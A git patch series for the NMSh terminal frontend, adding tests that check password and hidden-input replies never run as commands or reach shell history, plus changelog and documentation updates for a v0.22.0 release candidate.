settled(); + f.enter(); + f.answer('visible'); + await settled(); + assert.deepEqual(f.adds(), [SECRET], 'queued like any command typed while one runs (documented limit)'); + // The second question, with no prompt: from now on that entry may be its reply. + f.tick(500); + f.hidden(); + await settled(); + const entry = f.owner.state.entries.find(item => item.text === SECRET); + assert.equal(entry?.condition, 'approve', 'it waits for approval'); + assert.match(f.transcript(), /hidden input/u, 'a note says why, without the text'); + assert.equal(f.transcript().includes(SECRET), false); + // The person answers the question again; the command succeeds: the entry still does not run. + f.type('second'); + f.enter(); + f.complete(0); + await settled(); + f.neverRun(SECRET, 'after the command succeeded'); + } finally { f.dispose(); } +}); + +test('entries queued before the command started are the person\'s plan: a hidden question leaves them as they were', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + // Both queued while an earlier command ran; the first then runs and asks for a password. + f.begin('make build'); + f.app['session'].queue({op: 'add', text: 'sudo -k make install'}); + f.app['session'].queue({op: 'add', text: 'make test'}); + f.tick(100); + f.complete(0); + await settled(); + assert.deepEqual(f.dispatched, ['sudo -k make install']); + f.tick(10); + f.begin('sudo -k make install', 'Password:'); + f.tick(100); + f.hidden(); + await settled(); + assert.equal(f.owner.state.entries.find(item => item.text === 'make test')?.condition, undefined); + } finally { f.dispose(); } +}); + +test('a command queued with Ctrl+Q while the hidden question is shown is the person\'s: re-reports of that question leave it', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sudo -k make install', 'Password:'); + f.tick(100); + const asked = {since: Date.now(), confidence: 'likely', mode: 'hidden'} as const; + f.state(asked); + await settled(); + // Ctrl+Q: the composer takes the next command for the queue; the program never sees those keys. + f.key('\u0011'); + f.type('make test'); + f.enter(); + assert.deepEqual(f.adds(), ['make test']); + // The same question, reported again (the watch's confidence changes as it samples). + f.tick(500); + f.state({...asked, confidence: 'confirmed'}); + await settled(); + assert.equal(f.owner.state.entries.find(item => item.text === 'make test')?.condition, undefined, 'not made to wait for approval'); + assert.doesNotMatch(f.transcript(), /asked for hidden input/u); + } finally { f.dispose(); } +}); + +test('a look slower than the slow mark after a hidden answer, then the command ends: the typing is discarded, never shown or run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -s a; read -s -t 1 b'); + f.answerHidden('first'); + f.tick(20); + f.type(SECRET); + f.enter(); + t.mock.timers.tick(SLOW_MS + 100); + f.answer('idle'); + await settled(); + f.complete(1); + await settled(); + f.nowhere(SECRET, 'after the slow look'); + assert.match(f.transcript(), /discarded, not run/u); + } finally { f.dispose(); } +}); diff --git a/tests/inputOwnershipSecretsLive.test.ts b/tests/inputOwnershipSecretsLive.test.ts new file mode 100644 index 00000000..ef933182 --- /dev/null +++ b/tests/inputOwnershipSecretsLive.test.ts @@ -0,0 +1,66 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {existsSync, readFileSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {LiveSandbox, strip, until} from './helpers/liveFrontend.js'; + +/** + * #426 review, through the real composer, PTY, session service and shell: a command reads a password, works with the + * terminal echoing, then reads a second password with no prompt. The second reply, typed and entered before that + * question exists, can only be queued (nothing asked yet; documented limit). Once the command asks for hidden input the + * entry waits for approval: when the command succeeds it never runs, so the password reaches neither NMSh's journal nor + * the shell's own history file, and the shell never reports it as a command. + */ +const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] + .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); +const supported = process.platform === 'darwin' || process.platform === 'linux'; +const pause = (ms: number) => new Promise(done => setTimeout(done, ms)); +const SECRET = 'QZSECRETZQ'; + +/** The shell's history written as each command is entered, so the test reads exactly what the shell recorded. */ +const HISTORY = { + zsh: ['.zshrc', '.zhist', 'HISTFILE=~/.zhist\nHISTSIZE=1000\nSAVEHIST=1000\nsetopt INC_APPEND_HISTORY\n'], + bash: ['.bashrc', '.bhist', 'HISTFILE=~/.bhist\nshopt -s histappend\nPROMPT_COMMAND="history -a${PROMPT_COMMAND:+; $PROMPT_COMMAND}"\n'], +} as const; + +for (const shell of ['zsh', 'bash'] as const) { + const available = supported && (shell === 'zsh' || bash); + test(`live ${shell}: a reply entered before a second hidden question with no prompt never runs as a command or reaches history`, {skip: available ? false : `${shell} not available`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + const [rc, histfile, content] = HISTORY[shell]; + writeFileSync(join(sandbox.home, rc), content); + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + try { + await frontend.waitFor(/zsh|bash/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + const mark = frontend.mark; + const command = 'read -rs a; sleep 3; read -rs b; echo "LENGTHS=${#a}/${#b}"'; + frontend.pty.write(`${command}\r`); + await frontend.waitFor(/[Ww]aiting for input/u, mark, 20_000); + frontend.pty.write('first\r'); + // The first read returned; `sleep` runs with the terminal echoing again and nothing asks. + await pause(400); + const typed = frontend.mark; + for (const char of SECRET) { frontend.pty.write(char); await pause(15); } + frontend.pty.write('\r'); + await frontend.waitFor(/1 queued/u, typed, 10_000); + // The second read, with no prompt: NMSh reports it, and the entry may be its reply. + await frontend.waitFor(/asked for hidden input/u, typed, 20_000); + frontend.pty.write('second\r'); + await frontend.waitFor(/LENGTHS=5\/6/u, mark, 20_000); + const records = async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records); + await until(async () => (await records()).some(record => record.command === command), 15_000, 'the command to complete'); + // Anything that would run after it has had time to start. + await pause(2500); + assert.equal((await records()).some(record => record.command?.includes(SECRET)), false, 'never run: not in NMSh\'s journal'); + assert.doesNotMatch(strip(frontend.output.slice(typed)), new RegExp(`${SECRET}[^\\n]*(?:not found|No such)|(?:not found|No such)[^\\n]*${SECRET}`, 'u'), + 'the shell never saw it as a command'); + const history = readFileSync(join(sandbox.home, histfile), 'utf8'); + assert.match(history, /echo READY/u, 'the shell records history here'); + assert.equal(history.includes(SECRET), false, 'not in the shell\'s history'); + assert.match(strip(frontend.output.slice(typed)), /waits for your approval/u); + } finally { await sandbox.dispose(); } + }); +} diff --git a/tests/typingAfterRead.test.ts b/tests/typingAfterRead.test.ts index 6daa58ab..6c68ffc6 100644 --- a/tests/typingAfterRead.test.ts +++ b/tests/typingAfterRead.test.ts @@ -10,7 +10,22 @@ import {LiveSandbox, strip, until, type Frontend} from './helpers/liveFrontend.j * command the moment the previous one is shown complete, with no pause; zsh and Bash also type ahead while `read` * still runs. Fish is not held to type-ahead during `read`: fish 4 itself drops keys that are already queued when its * reader starts a terminal query, with any terminal (see docs/development/fish-typeahead.md). + * + * One outcome besides running at once is correct (#426 review): a command typed during a hidden read's answer, when a + * look still saw hidden input and the read's command then ended, may be a reply to a second question with no prompt. + * NMSh holds it at the prompt, never run by itself; the person's Tab shows it and their Enter runs it. It must still + * run exactly once, and only typing ahead during a hidden read may be held. */ +const HELD = /held, not run · Tab shows it · Esc discards it/u; + +async function showAndRunHeld(frontend: Frontend, mode: string, run: number, next: string, mark: number): Promise<void> { + assert.ok(mode === 'ahead' && run % 2 === 1, `only typing ahead during a hidden read is held (${mode}${run})`); + assert.equal(new RegExp(`(?<!echo )${next.slice('echo '.length)}`, 'u').test(strip(frontend.output.slice(mark))), false, 'held, it has not run'); + const shown = frontend.mark; + frontend.pty.write('\t'); + await frontend.waitFor(new RegExp(next.replace(/[.*+?^${}()|[\]\\]/gu, '\\$&'), 'u'), shown, 10_000); + frontend.pty.write('\r'); +} const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); @@ -60,7 +75,11 @@ for (const shell of ['fish', 'zsh', 'bash'] as const) { frontend.pty.write(`v${tag}\r`); if (mode === 'after') await frontend.waitFor(new RegExp(`got=v${tag}[\\s\\S]*Completed`, 'u'), mark); frontend.pty.write(`echo NEXT-${tag}\r`); - await frontend.waitFor(new RegExp(`NEXT-${tag}[\\s\\S]*Completed`, 'u'), mark, 10_000); + await frontend.waitFor(new RegExp(`NEXT-${tag}[\\s\\S]*Completed|${HELD.source}`, 'u'), mark, 10_000); + if (HELD.test(strip(frontend.output.slice(mark))) && !new RegExp(`NEXT-${tag}[\\s\\S]*Completed`, 'u').test(strip(frontend.output.slice(mark)))) { + await showAndRunHeld(frontend, mode, run, `echo NEXT-${tag}`, mark); + await frontend.waitFor(new RegExp(`NEXT-${tag}[\\s\\S]*Completed`, 'u'), mark, 10_000); + } assert.match(strip(frontend.output.slice(mark)), new RegExp(`got=v${tag}`, 'u'), 'the answer reached read'); } } From 292583ae0dc6f0ea60dca074b6e785f78c3479b8 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 13:48:18 +0530 Subject: [PATCH 075/157] typingAfterRead: accept a command NMSh holds after a hidden answer, run once With #437's #426 review change, a command typed ahead during a hidden read's answer can be held at the prompt when a look still saw hidden input as the command ended (it may be a reply to a second question with no prompt). It is then never run by itself; the person's Tab shows it and Enter runs it. The test accepts that outcome only for typing ahead during a hidden read, presses Tab and Enter, and still requires the next command to run exactly once (journal count). Without #437 the held branch is never taken. --- tests/typingAfterRead.test.ts | 23 ++++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) diff --git a/tests/typingAfterRead.test.ts b/tests/typingAfterRead.test.ts index 4f92b004..9063c4c5 100644 --- a/tests/typingAfterRead.test.ts +++ b/tests/typingAfterRead.test.ts @@ -10,7 +10,22 @@ import {LiveSandbox, strip, until, type Frontend} from './helpers/liveFrontend.j * command the moment the previous one is shown complete, with no pause; zsh and Bash also type ahead while `read` * still runs. Fish is not held to type-ahead during `read`: fish 4 itself drops keys that are already queued when its * reader starts a terminal query, with any terminal (see docs/development/fish-typeahead.md). + * + * One outcome besides running at once is correct (#426 review, #437): a command typed during a hidden read's answer, + * when a look still saw hidden input and the read's command then ended, may be a reply to a second question with no + * prompt. NMSh holds it at the prompt, never run by itself; the person's Tab shows it and their Enter runs it. It must + * still run exactly once, and only typing ahead during a hidden read may be held. (Without #437 it is never held.) */ +const HELD = /held, not run · Tab shows it · Esc discards it/u; + +async function showAndRunHeld(frontend: Frontend, mode: string, run: number, next: string, mark: number): Promise<void> { + assert.ok(mode === 'ahead' && run % 2 === 1, `only typing ahead during a hidden read is held (${mode}${run})`); + assert.equal(new RegExp(`(?<!echo )${next.slice('echo '.length)}`, 'u').test(strip(frontend.output.slice(mark))), false, 'held, it has not run'); + const shown = frontend.mark; + frontend.pty.write('\t'); + await frontend.waitFor(new RegExp(next.replace(/[.*+?^${}()|[\]\\]/gu, '\\$&'), 'u'), shown, 10_000); + frontend.pty.write('\r'); +} const bash = ['/opt/homebrew/bin/bash', '/usr/local/bin/bash', '/usr/bin/bash', '/bin/bash'] .find(path => existsSync(path) && /version (?:4\.[4-9]|[5-9]\.)/u.test(spawnSync(path, ['--version'], {encoding: 'utf8'}).stdout ?? '')); const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); @@ -64,7 +79,13 @@ for (const shell of ['fish', 'zsh', 'bash'] as const) { frontend.pty.write(`${next}\r`); // NMSh's journal records the next command once the shell's prompt has returned after it. Screen text could match // earlier: the queued command's row followed by an older "Completed" in a later redraw (seen in CI on #442). - await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next}`); + await until(async () => await frontend.completions(next) > before || HELD.test(strip(frontend.output.slice(mark))), 10_000, + `completed journal for ${next}, or the command held`); + if (await frontend.completions(next) === before) { + await showAndRunHeld(frontend, mode, run, next, mark); + await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next} after Tab and Enter`); + } + assert.equal(await frontend.completions(next), before + 1, 'the next command ran once'); const drawn = strip(frontend.output.slice(mark)); assert.match(drawn, new RegExp(`got=v${tag}`, 'u'), 'the answer reached read'); assert.match(drawn, new RegExp(`(?<!echo )NEXT-${tag}`, 'u'), 'and the next command ran'); From d8546386a27c215b10a2286621b1412f8f7ab9fa Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 13:51:12 +0530 Subject: [PATCH 076/157] Release integration: /view's o with the terminal editor chosen in Settings (#434 with #439) --- tests/viewChosenEditor.test.ts | 44 ++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 tests/viewChosenEditor.test.ts diff --git a/tests/viewChosenEditor.test.ts b/tests/viewChosenEditor.test.ts new file mode 100644 index 00000000..3b2b46ca --- /dev/null +++ b/tests/viewChosenEditor.test.ts @@ -0,0 +1,44 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {clearProviderDetection} from '../src/providers/providers.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #434 with #439, together in the release: `o` in /view uses the terminal editor chosen in Settings when VISUAL and EDITOR + * are unset, in that editor's own file:line form at the first line on screen. It composes the command; nothing runs. + */ +test('o in /view composes the chosen terminal editor\'s command at the line on screen; nothing runs', async () => { + const saved = {PATH: process.env.PATH, VISUAL: process.env.VISUAL, EDITOR: process.env.EDITOR, ZED_TERM: process.env.ZED_TERM, TERM_PROGRAM: process.env.TERM_PROGRAM}; + const bin = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-view-editor-bin-'))); + const frame = executionFrameFixture(100, 30); + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-view-editor-'))); + try { + writeFileSync(join(bin, 'hx'), '#!/bin/sh\nexit 0\n'); chmodSync(join(bin, 'hx'), 0o755); + process.env.PATH = bin; + delete process.env.VISUAL; delete process.env.EDITOR; delete process.env.ZED_TERM; + clearProviderDetection(); + writeFileSync(join(root, 'notes.txt'), Array.from({length: 200}, (_, index) => `line ${index + 1}`).join('\n')); + frame.app['shellCwd'] = root; + frame.app['promptConfiguration'] = {...frame.app['promptConfiguration'], terminalEditor: 'hx'}; + const writes: string[] = []; + Object.defineProperty(frame.session, 'write', {value: (data: string) => { writes.push(data); }, configurable: true}); + frame.app['openViewer']('notes.txt', '/view notes.txt'); + const deadline = Date.now() + 5000; + while (!frame.app['viewer']) { if (Date.now() > deadline) throw new Error('viewer'); await new Promise(done => setTimeout(done, 10)); } + frame.capture(); + await frame.app['handleKey']({kind: 'text', value: 'o'}); + for (let i = 0; i < 20 && !frame.app['editor'].text; i += 1) await new Promise(done => setTimeout(done, 10)); + const text = frame.app['editor'].text as string; + assert.match(text, /^hx /u, `the chosen editor composes the command: ${text}`); + assert.ok(text.includes(join(root, 'notes.txt')), 'the file shown'); + assert.match(text, /notes\.txt:1(?::\d+)?'?$/u, 'Helix\'s own file:line form, at the first line on screen'); + assert.deepEqual(writes, [], 'nothing was run'); + } finally { + frame.dispose(); rmSync(root, {recursive: true, force: true}); rmSync(bin, {recursive: true, force: true}); + for (const [key, value] of Object.entries(saved)) { if (value === undefined) delete process.env[key]; else process.env[key] = value; } + clearProviderDetection(); + } +}); From 18144fb970f5396590159c2a3b7e54de8842cf03 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 13:59:17 +0530 Subject: [PATCH 077/157] Release v0.22.0 candidate: changelog, version and release status (v0.21.0 superseded) The maintainer chose to ship the latest stable version rather than every planned one: v0.21.0 (#429) is never published, and v0.22.0 ships its work together with v0.22's. - Version 0.22.0. One [0.22.0] changelog section (candidate) from the integrated [Unreleased] entries since v0.20.0, with an intro, the #426 entry moved to Security and extended with the release review, and Compatibility, Upgrade notes and Known limitations for v0.21 and v0.22 together. It says v0.21.0 was never published; there is no [0.21.0] section. - README, ROADMAP and AGENTS describe the v0.22.0 candidate; the latest published release stays v0.20.0 until publication. - docs/testing/v022-physical-qa.md: one walkthrough for this build, v0.21's passes 1-7 unchanged and v0.22's per-PR passes as 8-13, with the security review's password cases and a session lifecycle pass. scripts/qa/v022-fixtures.sh adds their fixtures to v0.21's. - docs/development/v022-release-runbook.md (from v0.21's, which is marked superseded); ledgers record the decision, the security review and the v0.21 candidate's final verification. --- AGENTS.md | 3 + CHANGELOG.md | 37 +- README.md | 5 +- ROADMAP.md | 17 +- docs/development/v021-ledger.md | 21 +- docs/development/v021-release-runbook.md | 3 + docs/development/v022-ledger.md | 49 ++- docs/development/v022-release-runbook.md | 135 +++++++ docs/testing/v021-physical-qa.md | 3 + docs/testing/v022-physical-qa.md | 476 +++++++++++++++++------ package-lock.json | 4 +- package.json | 2 +- scripts/qa/v022-fixtures.sh | 72 ++++ 13 files changed, 701 insertions(+), 126 deletions(-) create mode 100644 docs/development/v022-release-runbook.md create mode 100755 scripts/qa/v022-fixtures.sh diff --git a/AGENTS.md b/AGENTS.md index 0fa00eb8..a30ec984 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -71,6 +71,9 @@ Input awareness (waiting-for-input state, hidden and single-key input routed to ## Surfaces released in v0.20.0 Workspace sidebar and detail panel (`/sidebar`, `/panel`, `/keys`, `keymap.json`; one column plan in `src/app/workspaceHost.ts`/`workspaceFrame.ts`), background tasks (`/background`, `/bg`, task bar; session-owned `SessionTasks`, protocol feature `background-tasks`), native modules for .NET, Swift, Zig, Deno, Elixir, Dart, Flutter, build systems, Mercurial and Jujutsu, managed Claude `/model`, `/effort` and mod toggles, related PRs in `/worktrees`; the first-run starting point (`/startup`, `src/setup/startup/`), the guided setup, the shared optional-tools flow (`src/tools/ToolsPanel.ts`), the execution timeline and Queue settings, queue history and typed summaries (`/queue history`, `/queue save-summary`), queued output folding, multi-line paste choices, `/copy` output navigation and `/actions`, the custom color editor and the per-installation update notice. Physical QA status: [v0.20 record](docs/testing/v020-physical-qa.md). +## Release candidate surfaces (v0.22.0, not published; includes the unpublished v0.21.0 candidate) +`/view` (read-only viewer for files and completed output; `src/viewer/document.ts`, `ViewerPanel.ts`; `o` opens the file in your editor), `/edit` (a small editor for one text file with atomic, conflict-checked saves; `src/viewer/fileEdit.ts`, `EditorPanel.ts`, `textBuffer.ts`), Semantic Output first phase (deterministic recognizers in `src/output/semantic.ts`; presentation rows only, raw output and plain `/copy` unchanged; `/copy --semantic|--both`), `/track` (one live result of a finite command on the `/watch` scheduler, window-owned; `src/tasks/WatchTasks.ts`, `repeatSafety.ts`, `trackBlock.ts`), Bun, Nix shell and container modules, `/modules explain` and `/modules timings`, five theme families, the parser's bounded live region for multi-row progress (#388), input ownership (keys held for an on-demand look, never routed on a guess; the shell's `done` marker; typing held at the prompt after hidden input; queued entries wait for approval when a hidden question follows: `TerminalApp.holdForOwnershipLook`, `InputWatch.lookNow`), history browsing with History n/N on a free rule, a chosen terminal editor for `/open`, and Ask command suggestions from a local model (Copy/Insert only, never run). State: [v0.22 ledger](docs/development/v022-ledger.md). + ## Testing / verification During implementation, run focused affected tests. Use `npm run verify:fast` for ordinary iteration (build, an explicit core test subset, and diff checks); it is diff --git a/CHANGELOG.md b/CHANGELOG.md index b938f7d3..f8b3e166 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,14 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ## [Unreleased] +## [0.22.0] - Unreleased (release candidate) + +**Native viewing and editing, Semantic Output, `/track` and input you can trust.** NMSh still runs your real zsh, Bash or Fish in one persistent session. This release reads files and completed output without leaving it (`/view`), makes a quick edit to a small text file (`/edit`) or opens it in your own editor, puts a test run's or a build's counts and failures in one row above its raw output (Semantic Output), and keeps one live, refreshed result of a command in the transcript (`/track`). Typing while a command runs now goes where it belongs on evidence only: a password is never shown, queued or run as a command because NMSh could not yet tell who reads it, and a slow prompt hook no longer eats the next command. Up and Down step through history one command at a time with the position shown, Ask can suggest a command from your local model (never run for you), and there are Bun, Nix shell and container modules, `/modules explain` and five more theme families. + +v0.21.0 was prepared as a release candidate ([#429](https://github.com/raiseCatError/notMyShell/pull/429)) but never published; its work first ships here, so this section lists everything since v0.20.0. + +This is a release candidate: it is published only after its physical-terminal QA passes ([v0.22 physical QA](docs/testing/v022-physical-qa.md); state and evidence in the [v0.22 ledger](docs/development/v022-ledger.md)). + ### Added - **`/view`, a native read-only viewer** for files and completed output ([#397](https://github.com/raiseCatError/notMyShell/issues/397)). `/view README.md` opens a file relative to the shell's directory (`~` for home): Markdown renders (`m` shows the source), source files get syntax colors and line numbers, `.diff`/`.patch` files and `git diff`/`git show` output read as diffs. `/view N` opens completed output N (numbered as `/copy` numbers it) and `/view` the latest; Actions → View output does the same for a block. Find with `/` and `n`/`N`, go to a line with `:`, `w` toggles wrapping (Left/Right scroll sideways), `l` line numbers, `c` copies the whole text, Esc closes. Viewing never changes the file or the transcript. @@ -35,9 +43,35 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env <command>`, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. -- Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. Type-ahead on an idle machine is unchanged. - A command typed while the shell was showing its prompt again (after Ctrl+C, or after any command when a prompt hook is slow, as a heavy theme or `nvm` can be) no longer loses its beginning ([#436](https://github.com/raiseCatError/notMyShell/issues/436)). NMSh no longer reads the shell's own prompt hooks as the finished command waiting for input (`Probably waiting for input` while the prompt came back), and a late report of the question Ctrl+C ended no longer turns what you typed after it into a discarded reply; the rest of the line used to run on its own (`cho Y …`, command not found). +### Security + +- **Passwords and other replies are never shown, queued or run as a command on a guess.** Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. After NMSh answers a hidden question, typing that a check still finds next to hidden input may be the reply to a second question with no prompt: if the command ends first, it waits at the prompt, hidden (`held, not run · Tab shows it · Esc discards it`), and only your Tab and Enter run it. A reply typed and entered before a question with no prompt existed is queued like any command (NMSh could not know); once the command asks for hidden input, the commands queued while it ran wait for your approval instead of running after it. Type-ahead on an idle machine is unchanged. + +### Compatibility +- Node.js 22 or newer; zsh, Bash 4.4+ and Fish, as in v0.20.0. CI covers Node 22 and 26 on Ubuntu, Node 26 on macOS, and a Linux portability subset on Fedora. +- The session protocol is unchanged (version 2): a session service started by v0.20.0 keeps serving the sessions it owns, and new windows attach to it. `/view`, `/edit`, `/track`, Semantic Output, history browsing, the new modules and themes work at once. The input protections (#426, #436) and the background-task fix need a session service and shells started by this release. +- `/track` needs `sh` and POSIX process groups (macOS, Linux, WSL 2). Ask's command suggestions need a local model set up in `/llm`. + +### Upgrade notes +- **From v0.20.0** (v0.21.0 was never published): settings, themes, modules, sessions and history carry over; existing theme ids and saved choices are unchanged, and Lavender stays the default. +- Semantic Output is on for every configuration that has not turned it off (Settings → Transcript → Semantic Output). The Bun, Nix shell and container modules are off until enabled in `/modules`; Ask's command suggestions are off until Settings → Ask → Command suggestions → Local model. +- End the sessions of a v0.20 session service (or restart it once they end) to get the input protections and the background-task fix. +- Homebrew: `brew upgrade raiseCatError/tap/nmsh` installs whatever version the tap's formula points to; check `nmsh --version`. + +### Known limitations +- `/track` is window-owned: trackers stop with the window that started them, and a resumed session shows the last result, not a live one. Samples run `sh -c` with the shell's PATH, not its aliases or functions. +- Semantic Output is a first phase: built-in recognizers only (no `jc`, `delta` or other external providers), the raw output is not fully collapsed behind the reading, and find searches the raw output only. +- `/edit` does not carry over extended attributes or ACLs, and unsaved text is lost if the window itself closes; the size and file-kind limits are listed under Added. +- Progress redraws: absolute cursor rows (`CSI H`/`f`/`d`) are not mapped and scroll regions are not emulated ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). +- `/modules explain` covers the Context Rail and Status Strip; the Main Prompt has no per-segment truncation trace ([#365](https://github.com/raiseCatError/notMyShell/issues/365)). +- Oxocarbon, GitHub Primer, Material/Palenight and Monokai are deferred, with reasons in `docs/design/theme-families.md` ([#401](https://github.com/raiseCatError/notMyShell/issues/401)). +- Input while a command runs ([#426](https://github.com/raiseCatError/notMyShell/issues/426), [#436](https://github.com/raiseCatError/notMyShell/issues/436)): a reply typed before a question with no prompt exists is shown in the composer and queued, as any typing while a command runs is; it no longer runs by itself once the command asks for hidden input, but if such a question gives up before NMSh sees it (a timed read) and the command then succeeds, the queued entry runs. zsh's single `precmd` function and Fish's other `fish_postexec` handlers run before NMSh's done marker, so a slow hook there can still be read as the command waiting. A session service from v0.20 routes typing as before. +- Keys typed *during* a Fish `read` stay subject to Fish's own editor queries ([#356](https://github.com/raiseCatError/notMyShell/issues/356)). +- Ask's command suggestions use your local model only; remote providers are not part of this release ([#432](https://github.com/raiseCatError/notMyShell/issues/432)). +- Linux stays beta: automated CI on Ubuntu and Fedora, no physical pass. With Fish 3.7 on Linux, CI has occasionally seen a command's output or one of NMSh's shell markers not arrive; the cause is being investigated ([#443](https://github.com/raiseCatError/notMyShell/issues/443); not seen with Fish 4 on macOS). Everything listed under v0.20.0's known limitations still applies. + ## [0.20.0] - 2026-10-18 **Terminal workflow, first-run setup, background tasks & native modules.** The first stable release since v0.18.0. A new first run lets you pick a starting point under a live aurora and review it before anything applies; queued commands read as a chronological timeline with saved summaries; completed output can be selected, copied and acted on from the keyboard; optional tools are discovered, reviewed and installed through one flow; long-running commands can run as background tasks beside the shell; and the native module catalog covers twelve more runtimes and build tools. Every new control is reached through an explicit command, key or review, and the persistent shell, the queue and program input keep their behavior. @@ -641,6 +675,7 @@ Session & Interaction UX, plus the appearance and customization system. - Process cleanup teardown to safely kill detached helper shells and delete temporary configuration directories during testing. [Unreleased]: https://github.com/raiseCatError/notMyShell/compare/v0.20.0...HEAD +[0.22.0]: https://github.com/raiseCatError/notMyShell/compare/v0.20.0...release/v0.22.0 [0.20.0]: https://github.com/raiseCatError/notMyShell/compare/v0.18.0...v0.20.0 [0.18.0]: https://github.com/raiseCatError/notMyShell/compare/v0.17.0...v0.18.0 [0.17.0]: https://github.com/raiseCatError/notMyShell/compare/v0.16.0...v0.17.0 diff --git a/README.md b/README.md index 8861926e..8f796fca 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,8 @@ Latest stable release: [v0.20.0 — Terminal workflow, first-run setup, background tasks & native modules](https://github.com/raiseCatError/notMyShell/releases/tag/v0.20.0), the first stable release since v0.18.0. It includes the terminal workflow from the v0.19.0 candidate, which was never published separately. The `master` branch includes this released work; see the [changelog](CHANGELOG.md#0200---2026-10-18) for its scope, upgrade notes and known limitations. +Release candidate: v0.22.0 (`/view`, `/edit`, Semantic Output, `/track`, safer typing while commands run, history browsing, Ask command suggestions from your local model, more native modules and theme families) is on `release/v0.22.0` and is not published until its physical-terminal QA passes; it includes the v0.21.0 candidate, which will not be published separately. See the [changelog](CHANGELOG.md). + ## See notMyShell in motion https://github.com/user-attachments/assets/7f2cbe74-ad86-4d13-bbe3-04e334cff81b @@ -69,7 +71,7 @@ NMSh is a **frontend**. Your shell stays underneath and does what it always did: ## Native modules and the Context Engine -NMSh's shipped native module ecosystem uses trusted capabilities to resolve contextual facts and routes them to the Main Prompt, Context Rail or Right Context. 